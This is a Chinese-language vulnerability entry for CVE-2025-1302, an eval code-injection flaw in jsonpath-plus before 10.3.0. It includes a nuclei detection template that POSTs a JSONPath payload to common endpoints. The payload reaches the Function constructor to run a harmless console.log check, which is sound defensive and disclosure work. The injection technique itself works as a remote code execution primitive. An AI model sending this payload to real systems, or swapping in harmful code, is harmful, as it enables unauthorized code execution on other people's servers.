jsonpath-plus Safe Eval RCE Vulnerability

漏洞信息

漏洞名称: jsonpath-plus Safe Eval RCE Vulnerability

漏洞编号:

  • CVE: CVE-2025-1302

漏洞类型: 代码注入

漏洞等级: 高危

漏洞描述: 该漏洞影响的是jsonpath-plus库,这是一个用于处理JSONPath表达式的JavaScript库,广泛应用于前端和后端的JSON数据处理中。由于其易用性和灵活性,jsonpath-plus在许多Web应用和服务中被采用,用于数据查询和过滤。漏洞的根源在于jsonpath-plus库在10.3.0之前的版本中,存在不安全的eval()函数使用,攻击者可以通过构造恶意的JSONPath表达式,注入并执行任意JavaScript代码。这种代码注入漏洞允许攻击者在受害者的环境中执行未授权的操作,可能导致数据泄露、服务中断或其他恶意后果。值得注意的是,此漏洞的利用不需要任何形式的身份验证,且可以远程触发,因此其潜在的安全风险非常高。虽然提供的检测模板使用了无害的JavaScript代码(console.log)来确认漏洞的存在,但实际攻击中可能会使用更危险的payload。

产品厂商: JSONPath-Plus

产品名称: jsonpath-plus

影响版本: <10.3.0

来源: https://github.com/projectdiscovery/nuclei-templates/blob/261a8e8feb4d59720759d78db1aaf817a8178aba/http%2Fcves%2F2025%2FCVE-2025-1302.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

id: CVE-2025-1302

info:
name: jsonpath-plus <10.3.0 - Safe Eval RCE Detection
author: Jaenact
severity: high
description: |
This template detects CVE-2025-1302 in jsonpath-plus (<10.3.0) using a safe eval()-based payload.
The payload uses harmless JavaScript (console.log) to determine if unsafe evaluation occurs.
This is a non-exploitive template suitable for safe security testing.

reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-1302
- https://security.snyk.io/vuln/SNYK-JS-JSONPATHPLUS-8719585
- https://github.com/JSONPath-Plus/JSONPath
- https://github.com/EQSTLab/CVE-2025-1302

tags: cve,rce,jsonpath,eval,safe,json,application,js

http:
- method: POST
path:
- "{{BaseURL}}/query"
- "{{BaseURL}}/jsonpath"
- "{{BaseURL}}/api/query"
- "{{BaseURL}}/data"
- "{{BaseURL}}/parse"
- "{{BaseURL}}/filter"
- "{{BaseURL}}/expression"

headers:
Content-Type: application/json

body: |
{
"path": "$..[?(EQST=''[['constructor']][['constructor']]('console.log(\"nuclei-safe\")');EQST())]"
}

matchers:
- type: word
part: body
words:
- "nuclei-safe"

redirects: true
max-redirects: 2


jsonpath-plus Safe Eval RCE Vulnerability
http://example.com/2025/07/25/github_222785773/
作者
lianccc
发布于
2025年7月25日
许可协议